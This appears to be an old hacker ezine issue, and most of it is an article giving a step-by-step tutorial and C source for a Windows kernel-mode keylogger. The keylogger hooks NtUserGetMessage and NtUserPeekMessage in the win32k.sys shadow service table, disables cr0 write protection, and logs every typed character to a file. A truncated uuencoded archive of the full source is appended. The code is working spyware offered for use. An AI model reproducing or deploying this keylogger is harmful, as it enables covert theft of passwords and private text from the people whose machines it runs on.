[==============================================================================]
  mov al,13h   ;  .aware cr3w sets the correct video m0de   -   =   === == ====]
  int 10h      ;  -      =     =    =   = ===   === == === == = = =========== =]


                     .aware eZine Beta - Overground Hacking!

                     Too much technology, in too little time.

                               _..gggggppppp.._
                          _.go101110000010111010op._
                       .g1101100101000011010101001001p.
                    .g1011001101100000100001100110101100p.
                  .o10111001100101111101010111001110101110o.
                .o010011100101110000101111011010000100001100o.
               o0001101001100001101101000101100001010011100110o
              o111010110010111110000000001101101111110111011101o
             o11010100000110001000000101111000011010110010110001o
            o0010110011010000000010000100010011011000001110000111o
           o011110101101100000110100101010001001100110101101101100o
          :10011111001001010001101010110100010011111100010001011000;
          1000101111010111001111001110000111010100101111101101100111
         :0000110100101111101001101001011110111101010111001100000101;
         111011111000000101111101001111001101000110101011011001011001
        :111000100111010000111100010000110111011001110101011110000100;
        :101111001100100011000001111110110100101101110101101010111010;
        10101011000000000111000001111111011100001110100101110010000101
        11001001101010100001010110111101101011011110110011111010111011
        :101001010101101111000010100010011P"'    "Q111100011100101011;
        :001001001101010111001110010010101Y        Y01010011110111010;
         110001111000110100100110010100110          01010100110000111
         :00010110000101111010100101010011.        .0011110001011001;
          10111110011000011111001001110101O        O1010111110001000
          :11000001100011011011011100000000o,_  _,o0010011100110010;
           T110101001110010000110110111000001010000000100011000010P
            T0110011000101011101011101000000101111111111001001000P
             T00110111111001010010011101110110110001110001101111P
              T111001010010111111010101001111000011101111000101P
               T1110000110010100101111001111101011000000101011P
                `T100100101011001110111100001101011000100011P'
                  `T11111001011011000110000011100101010111P'
                    "^1111011011111101010101011101111000^"
                       "^T01001111111100111100001000P^"
                           '""^^^T0011101011T^^^""'


    It has been hard, but we've nagged our way through to this very release
    of the second .aware eZine. Rattle was the strongest supporter of ASCII
    only formatting,  but is now breaking that rule with an article, simply
    unpresentable in ASCII. Since it is also quite a lot of math and not so
    much h4x, it is published separately as a PDF. You should check it out,
    anyway.

    We also  highly encourage you  to give the brainfuck  challenge in the 
    outr0 a go. It is entirely self-rewarding, but the first one to get it
    might quickly render the reward useless for anyone else! Excited? Then
    go for it! But now, with no further delay -


                                Enjoy the zine.

 
[==============================================================================]

       1 Keyboard Independent Keylogger      C0ldCrow 
       2 Big Integer Arithmetics             rattle ::: (released as pdf)
       2 PreCracking For Dummies             iqlord 
       3 Hackformed                          zshzn 
       4 Beating WinNT Counter Exploitation  Nomenumbra 
       5 outr0                               the crew 

[==============================================================================]
                    [ http://www.awarenetwork.org/etc/beta/ ]




--------------------------------------------------------------------------------
[==============================================================================]
[------------[ Windows Kernelmode, Keyboard Independant Keylogger ]------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/Ž_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:  C0ldCrow
    ################     email:   c0ldcrow.don@gmail.com
     *############*       
       "T######T"



--[ 1 ]------------------------------------------------------[ Motivation ]-----

First, what do I mean when I say: "keyboard independent keylogger"? I mean a
keylogger that won't have to deal with low level keyboard management. One that
does not need to translate any hardware scan codes or virtual-key codes into
characters. A keylogger that doesn't have to care about the keyboard layout or
thelike. In short - a keylogger that will only catch and capture letters that
the user actually types.

When I began to write my keylogger I started with a standard filtered driver
approach. Writing a kernel driver that would capture keystrokes wasn't very
hard, since all of that is rather well documented and you can find source code
examples. Nonetheless, I gave up.

The utter reason for my failure was the translation of key scancodes into
usable characters. I looked at one piece of example code and got a bit scared.
Way too many keys. In fact, I couldn't even work with the code because I am 
using a Croatian keyboard layout and Croatian language has some characters 
outside of the "standard" ascii table. [ Editor's Note: As does German. ]
I was too lazy to implent that. Also considering that QWERTY type keyboards 
aren't the only ones (DVORAK), I approached the issue at a higher layer.

Every r3 application I have written so far doesn't have to deal with translating
virtual-key codes into characters. From the point of your program, user input
comes in form of a characters or text. That means that someone/something has
already translated keyboard specific codes into acceptable input for the
program. Thus, if we could somehow deduce how that process works, maybe we
could write some code that captures characters *right* before they hit userland.


--[ 2 ]------------------------------------[ Keyboard Input in Windows OS ]-----

The Windows operating system provides an event-driven environment to userland
applications, where they do not have to call any OS functions to obtain user
input. Instead, an application waits until the system delivers the input to it.
We'll start by tracing the keyboard input, from the point when the user presses
the key on the keyboard, to the time when the input is delivered to the
application.

As soon as a key is pressed, the keyboard generates a unique device-dependent
value that corresponds to the keys so-called "scan code". Thus, using a scan
code, we can determine which key was pressed. However, the key term here is a
scan code's "device dependence". This means, it can differ from keyboard to
keyboard. Scan codes are "delivered" to the keyboard device driver (details of
this delivery are not important to us, it involves interrupt dispatching).
The keyboard device driver understands the scan code, because it has been 
specifically designed for a particular (branch of) keyboard and now translates
the scan code to the so-called virtual key code.

MSDN describes the virtual key code as a device independent value, defined by
the system to uniquely identify the purpose of a certain key. Keyboard drivers
generate a message structure that includes the scan code, the virtual key code
and further information about the key, then places it in the system message
queue. The system removes messages from the system message queue and places
them in the thread message queue. Messages from the thread message queue are
removed by the thread message loop and passed on to the window procedure for
processing. All of this is documented in greater detail on [MSDN].

So, the system generates a message when the user presses the key. That message
identifies the key that was pressed. It will first pend in the system message 
queue and then end up in the per-thread message queue.
We now have a rough idea about what we need to do: We need to intercept these
said messages. That said, we only have a hand full of locations where we can
do so. Upon entering or leaving the system message queue, or upon entering or
leaving the thread message queue.

The "MSG" structure is used to pass messages around in Windows OS. Among other
things, it contains an identifier to distinguish various types of messages.
Messages that are generated as a result of keytaps can be of the type WM_KEYUP,
WM_KEYDOW, WM_SYSKEYUP, WM_SYSKEYDOWN or WM_CHAR. Messages of this kind are 
sent to the thread message queue of the thread with a window bearing the 
property "keyboard focus".
WM_CHAR messages are of particular interest to us, since it carries the
character code corresponding to the pressed key. Hence, we will try to capture
every single WM_CHAR message upon leaving the thread message queue, in order to
implement our keylogger. 


--[ 3 ]-------------------------------------[ Attacking with GetMessage() ]-----

We'll try capturing WM_CHAR messages by hooking the GetMessage() API.
GetMessage() is used by Windows applications to retrieve a message from its 
message queue. GetMessage() dequeues all types of messages, including WM_CHAR.
Provided that a thread uses no other calls for obtaining messages, hooking the
GetMessage() call should be sufficient.

GetMessage() belongs to the user and GDI functions, and is defined in 
user32.dll. Poking around user32.dll with IDA we can quickly spot the underlying
call to _NtUserGetMessage():

--------------------------------------------------------------------------------
.text:77D4918F                 mov     eax, 11A5h
.text:77D49194                 mov     edx, 7FFE0300h
.text:77D49199                 call    dword ptr [edx]
--------------------------------------------------------------------------------

It's a call to ntdll.dll - and over there, we have the "sysenter" instruction.
Hence, the Windows kernel component behind GetMessage() is NtUserGetMessage().
It resides in win32k.sys, the kernel part of the Windows subsystem holding user
and GDI functions.
We have an index to NtUserGetMessage (0x11a5), which is used by the system 
service dispatcher to calculate the actual function addresses. Theoretically
speaking, that's all the information we need to hook NtUserGetMessage.


--[ 4 ]-------------------------------------------[ Hooking in win32k.sys ]-----

Hooking syscalls from win32k.sys is more complicated than hooking syscalls in
ntoskrnl.exe, and lack of thorough online literature isn't helping either. Here
is a small list of problems that would not appear when working inside
ntoskrnl.exe:

The first problem is finding the offset of the shadow table, holding the 
addresses of all sycall functions defined in win32k.sys.

-------------------------------------------------------------------[ Note ]-----

Just a little off topic bit on terminology. When I say "System Service 
Descriptor Table", I refer to the following data structure:

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

Likewise, we will refer to the following data structure as the "System Service
Descriptor Table Entry":

typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;

Also, the term "System Service Dispatch Table" will be the name for the whole 
array of addresses to sycall functions in win32k.sys. That array starts at
an address stored in ServiceDescriptorEntry.ServiceTableBase.

Shorthands:
 System Service Descriptor Table        -  Descriptor Table
 System Service Dispatch Tabel          -  Dispatch Table
 System Service Descriptor Table Entry  -  Descriptor Entry
 
--------------------------------------------------------------------------------

Thus, we need to find the address of the descriptor table that holds the
descriptor entry of win32k.sys' dispatch table. In the Windows kernel, there are
exactly two descriptor tables. One holds only the entry for ntoskrnl.exe's 
dispatch table, and the other one holds entries for both ntoskrnl.exe's and 
win32k.sys' dispatch tables.

I have come across one approach for finding the desired address on [AVO], based
on comparing descriptor talbe offsets to the address of the ntoskrnl.exe 
descriptor table. It works on versions of Windows up to XP SP2.
I have devised a slightly different method, which I prefer, though. The idea
derives from the observation that the address of win32k.sys' descriptor table is
held in the ETHREAD block of every GUI thread running on the system, under the 
field "ServiceTable". You can easiely get the field's offset with WinDbg:

  kd>dt _ethread
  (...)
  +0xe0 ServiceTable     : Ptr32 Void
  (...)

Since we can obtain the address of ntoskrnl.exe's descriptor table simply by 
importing it in our code, we can traverse the ETHREAD linked list, checking each
ServiceTable field and compare it to the address of ntoskrnl.exe's descriptor.
When they differ, we can conclude that we found address of win32k.sys' service
descriptor table.

NOTE: This method has an obvious, known drawback: It uses hardcoded offsets,
which can differ across distinct versions of Windows.

To find a GUI thread, we will first discover the EPROCESS block of a GUI 
process. We can do so by traversing the EPROCESS list, checking the Win32Process
field of each block, at offset 0x130. For GUI processes, it is reserved for a
pointer to a win32k.sys internal data structure, maintained by the kernel 
driver. Non-GUI processes have this field set to NULL. From the EPROCESS block
of a GUI process, we'll then jump to its ETHREAD list and look for a GUI thread.
This is the code:

--------------------------------------------------------------------------------

#define OffsetEP_Win32Process 0x130 // EPROCESS.Win32Process
#define OffsetEP_NextEPFlink  0x88  // EPROCESS.ActiveProcessLink.Flink
#define OffsetEP_NextETFlink  0x50  // EPROCESS.KPROCESS.ThreadListEntry.Flink
#define OffsetET_NextKTFlink  0x1b0 // ETHREAD.KTHREAD.ThreadListEntry.Flink
#define OffsetET_NextETFlink  0x22c // ETHREAD.ThreadListEntry.Flink
#define OffsetET_ServiceTable 0xe0  // ETHREAD.KTHREAD.ServiceTable

#pragma pack(1)
typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;
#pragma pack()

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

extern ServiceDescriptorEntry KeServiceDescriptorTable;

ULONG FindGUIProcess(void)
{
    ULONG CurrentEproc, Win32Process, StartEproc;
    PLIST_ENTRY  ProcessLink=NULL;
    int          Count=0;

    CurrentEproc=Win32Process=StartEproc=0;
    CurrentEproc=(ULONG)PsGetCurrentProcess();
    StartEproc=CurrentEproc;
    Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));

    while(1)
    {
        if( Win32Process!=0 )
            return CurrentEproc;
        if( (Count>=1)&&(CurrentEproc==StartEproc) )
            return 0;

        ProcessLink=(PLIST_ENTRY)(CurrentEproc+OffsetEP_NextEPFlink);
        CurrentEproc=(ULONG)ProcessLink->Flink;
        CurrentEproc=CurrentEproc-OffsetEP_NextEPFlink;
        Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));
        Count++;
    }

    return 0;
}

ULONG FindShadowTable(ULONG GUIEprocess)
{
    ULONG CurrentEthread, CurrentTable, StartEthread, ServiceTable;
    PLIST_ENTRY ThreadLink=NULL;
    int Count=0;

    CurrentEthread=CurrentTable=StartEthread=ServiceTable=0;
    ServiceTable=(ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase));
    CurrentEthread=*((ULONG *)(GUIEprocess+OffsetEP_NextETFlink));
    CurrentEthread=CurrentEthread-OffsetET_NextKTFlink;
    StartEthread=CurrentEthread;
    CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));

    while(1)
    {
        if( CurrentTable!=ServiceTable )
            return CurrentTable;

        if( (Count>=1)&&(CurrentEthread==StartEthread) )
            return 0;

        ThreadLink=(PLIST_ENTRY)(CurrentEthread+OffsetET_NextETFlink);
        CurrentEthread=(ULONG)ThreadLink->Flink;
        CurrentEthread=CurrentEthread-OffsetET_NextETFlink;
        CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));
        Count++;
    }

    return 0;
}

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath)
{
    ULONG GUIEprocess, *GetMessageAddr;
    SSDTDescriptorTables *ShadowTable=NULL;

    GUIEprocess=0;

    KeEnterCriticalRegion();
    GUIEprocess=FindGUIProcess();
    KeLeaveCriticalRegion();

    KeEnterCriticalRegion();
    ShadowTable=(SSDTDescriptorTables *)FindShadowTable(GUIEprocess);
    KeLeaveCriticalRegion();
}

--------------------------------------------------------------------------------

The functions FindGUIEprocess() and FindShadowTable() do the actual work.

The second problem when hooking inside win32k.sys is this: Even with the address
of Dispatch Table we won't be able to use it. The win32k.sys driver is pagable,
similar to the user land process. Virtual addresses that refer to the win32k.sys
have a meaning only in the context of a GUI process which uses the services from
win32k.sys. In any other context, these addresses are invalid, and will usually
result in PAGE_FAULT_IN_NONPAGED_AREA BSOD. So, in order to read or write to the
dispatch table, our driver needs to have the same context as this GUI process.

This could be achieved by writing a small r3 program to create a GUI thread and
then send an IOCTL to the driver to execute it in context of that GUI thread.
This seems like an awful lot of work for such a simple task. I think it's
better to use FindGUIProcess() and then KeAttachProcess() to that GUI process,
then detach as soon as we're done.
      
And here it is, the actual code that performs the NewGetUserMessage() hook.

--------------------------------------------------------------------------------

#define INDEX_GETMESSAGE 0x1a5

/*  This is because of the way the windows system service
    dispatcher works. It uses the 13th and 12th bit of the
    index to indicate which descriptor table to look it
    up in. That is why we use 0x1a5 as our offset, rather
    than 0x11a5.
*/


typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg,
                                     IN ULONG hWnd,
                                     IN ULONG FilterMin,
                                     IN ULONG FilterMax);
NTUSERGETMESSAGE OldGetMessage;

typedef struct _POINT {
    ULONG x;
    ULONG y;
} POINT;

typedef struct _MSG {
    ULONG hWnd;
    ULONG message;
    ULONG wParam;
    ULONG lParam;
    ULONG time;
    POINT pt;
} MSG, *PMSG;

NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax)
{
    NTSTATUS APIStatus;
    PMSG MsgStruct;

    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR )
    {
        /* Message we're looking for */
    }

    return APIStatus;
}


/* This code should be inside DriverEntry() */
GetMessageAddr=ShadowTable->ServiceTables[1].ServiceTableBase+INDEX_GETMESSAGE;

KeAttachProcess((PEPROCESS)GUIEprocess);

OldGetMessage=(NTUSERGETMESSAGE)(*GetMessageAddr);

_asm
{
    cli
    mov eax, cr0
    and eax, not 10000H
    mov cr0, eax
}
*GetMessageAddr=NewGetMessage;
_asm
{
    mov eax, cr0
    or eax, 10000H
    mov cr0, eax
    sti
}

KeDetachProcess();

--------------------------------------------------------------------------------

Using the standard cr0 trick and disableing interrupts - not good practice. On
MP machines we would need to use more robust protection mechanisms, atomic 
functions, etcetera.


--[ 5 ]-----------------------[ Another Part of the Story - PeekMessage() ]-----

The presented keylogger will work, but it won't capture every WM_CHAR message if
you run a test. In fact, it catches around half the characters you type.
Given these results, we can only conclude that not all threads use GetMessage()
as the only method to dequeue messages. To make a long story short, we need to
hook PeekMessage() as well.

Applications can use predefined objects to create the user interface. A simple
example is an edit box control. Your code can call the function 
GetDlgItemText() to retrieve the text from the edit box. It doesn't have to call
GetMessage() or PeekMessage() at all in order to do so. This is possible because
the code responsible for creating and maintaining the edit box is contained 
entirely in user32.dll. It includes a small internal message loop which uses
PeekMessage(), sometimes setting the last parameter to PM_REMOVE.

You can watch this with OllyDbg. If you examine the execution of
GetDlgItemText(), you'll see it doesn't "go into kernel" to get the text, but 
rather does it copy the text from a user address space location to the
buffer provided.

By hooking PeekMessage(), we can capture all of the WM_CHAR messages. Hooking is
exactly the same as with NtUserGetMessage(): The only thing left to know is the 
index of NtUserPeekMessage in the dispatch table. It is 0x11DA, which basically 
means an offset of 0x1da.


--[ 6 ]--------------------------------------------[ The keylogger engine ]-----

In the end we need to code the keylogger engine itself. This is pretty much the
same as you would expect it in any keylogger. We need to decide on how to write
the captured keystrokes to file, create an output format for our the keystroke
data and the information that needs to be logged along with them (time, window 
title...). This is pretty much a matter of the programmer's preference.

I'll only point out some implementation issues with the keylogger which you will
have to concern yourself with. The first one is synchronization: We have two 
functions that capture keystrokes. Since they write the captured data to the
same memory buffer we need to synchronize their access to the shared buffer. 
The kernel provides a great deal of synchronization features - among the best, 
for our case, are mutex objects: Our hook function will not be allowed to write
to the buffer unless it owns the mutex object. When the buffer is full, the 
function that hit the threshold will create a thread to dump the buffer content
to file, while setting up a temporary buffer for loggin, during the time of the
write. A much better solution would be not to create a new thread every time,
but rather create a single thread during boot time and wake it up periodically 
as soon there is work to be done.

This code demonstrates the use of mutex objects to achieve synchronization:

--------------------------------------------------------------------------------

#define PM_REMOVE          0x0001 // Remove flag for PeekMessage from winuser.h
#define WRITE_BUFFER_SIZE  10
#define NUM_KEYS           256
#define LOG_FILENAME       L"\\DosDevices\\c:\\klogfile.txt"

/* Data about the key we're going to collect */
typedef struct _KEY_DATA {
    ULONG CharCode;
} KEY_DATA;

/* This structure represents memory buffer that
   holds data before writing it to disk */
typedef struct _MEMBUFF {
    KEY_DATA Keys[NUM_KEYS];
    int KeysIndex;
} KEYMEMBUFF, *PKEYMEMBUFF;

void WorkerThread (IN PVOID BufferStruct)
{
    PKEYMEMBUFF Buffer;
    IO_STATUS_BLOCK FileStatus, WriteStatus;
    HANDLE FileHandle;
    int i, WriteSize;
    unsigned char AscIIChar, WriteBuffer[WRITE_BUFFER_SIZE];

    Buffer=(PKEYMEMBUFF)BufferStruct;
    ZwCreateFile(&FileHandle,
                 FILE_APPEND_DATA | SYNCHRONIZE,
                 &LogFileObjAttrib,
                 &FileStatus, NULL,
                 FILE_ATTRIBUTE_NORMAL, 0,
                 FILE_OPEN_IF,
                 FILE_SYNCHRONOUS_IO_NONALERT,
                 NULL, 0);

    for(i=0; i<Buffer->KeysIndex; i++)
    {
        memset(WriteBuffer, 0, WRITE_BUFFER_SIZE);
        AscIIChar=*((unsigned char *)&(Buffer->Keys[i].CharCode));
        switch(AscIIChar)
        {
            case 0x8:
                strncpy(WriteBuffer, "<BS>", WRITE_BUFFER_SIZE-1);
                WriteSize=4;
            break;

            case 0x1b:
                strncpy(WriteBuffer, "<ESC>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            case 0x7f:
                strncpy(WriteBuffer, "<DEL>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            default:
                WriteBuffer[0]=AscIIChar;
                WriteSize=1;
            break;
        }
        ZwWriteFile(FileHandle, NULL, NULL, NULL, &WriteStatus, WriteBuffer,
         WriteSize, NULL, NULL);
    }

    Buffer->KeysIndex=0;
    ZwClose(FileHandle);
    PsTerminateSystemThread(0);
}

/* Same as for NtUserGetMessage, just different function */
NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax, IN ULONG RemoveMsg)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    APIStatus=OldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg);

    MsgStruct=(PMSG)pMsg;
    if( (MsgStruct->message==WM_CHAR) && (RemoveMsg==PM_REMOVE) )
    {
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS)
            {
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS, 
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }
            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus;
}

/* Our replacement function for NtUserGetMessage() */
NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
    IN ULONG FilterMax)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    /* Call the original function */
    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR ) /* Message we are looking for */
    {
        /* Here we try to get exclusive access to the shared buffer untill call
           to KeReleseMutex() there should be only one function running this
           code. Also we need to look when the buffer is full and then create 
           the thread to write it to the disk */
           
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
            
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS) // If current buffer is full
            {
                /* Empty the buffer by creating the thread that will write 
                   data to disk */
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS,
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                
                /* While thread is working, switch to the next buffer so we 
                   can continue logging */
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }

            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            /* Done with our code, relese the mutex */
            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus; /* Return to the user */
}
--------------------------------------------------------------------------------

Some of it is explained in the comments. I'll try and fill in the gaps.

ActiveBuffer, Buffer1 and Buffer2 are pointers to KEYMEMBUFF (our custom defined
memory buffer). After acquiring the mutex, our hook function checks whether the
buffer is full. If this is the case, it creates the thread and changes the 
active buffer to the second one (there are two buffers allocated). Hence, the 
thread can take it's time working with the buffer provided to it.

The NewPeekMessage() hook function checks for the RemoveMsg flag. If it's set,
it logs the key, otherwise it just returns. The reason for this is obvious: If 
PeekMessage() removes the message from the thread queue, then there is no way
for GetMessage() to capture the same message. Since GetMessage() always removes
the message from the queue, we can be sure that every message will get picked up
eventualy.


--[ 7 ]---------------------------------------------------------[ The End ]-----

There is a lot of room for improvement in this code. I simply hope that I 
described an interesting approach to creating keyloggers. Also, PeekMessage() 
and GetMessage() aren't limited to capturing WM_CHAR messages, so you can capture
all sorts of messages that get "sent" to different applications. The complete
code I wrote is attached, uuencoded, at the end.

In the end I would like to give some shouts to hess (my attorney :) and all of 
the guys at #croatianz. 

Thank you for reading.


--[ 8 ]------------------------------------------------------[ References ]-----

[MSDN] Microsoft Developper Network Library
       <http://msdn.microsoft.com/>

 [AVO] Alexander Volynkin, Obtaining KeServiceDescriptorTableShadow address in
       Windows XP Kernel mode. 
       <http://www.volynkin.com/sdts.htm>

  [1.] Oney, Walter, Programming the Microsoft Windows Driver Model,
       Microsoft Press, Washington 2003

  [2.] http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip

  [3.] http://msdn2.microsoft.com/en-us/library/ms646267.aspx

  [4.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [5.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [6.] http://msdn2.microsoft.com/en-us/library/ms644928.aspx

  [7.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 3 - System Mechanisms : Trap Dispatching

  [8.] http://www.volynkin.com/sdts.htm

  [9.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 6 - Processes, Threads, and Jobs : Thread Internals

 [10.] http://www.rootkit.com/newsread.php?newsid=137



--[ Appendix ]-----------------------------------------------------[ Code ]-----

begin 644 Code.zip
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
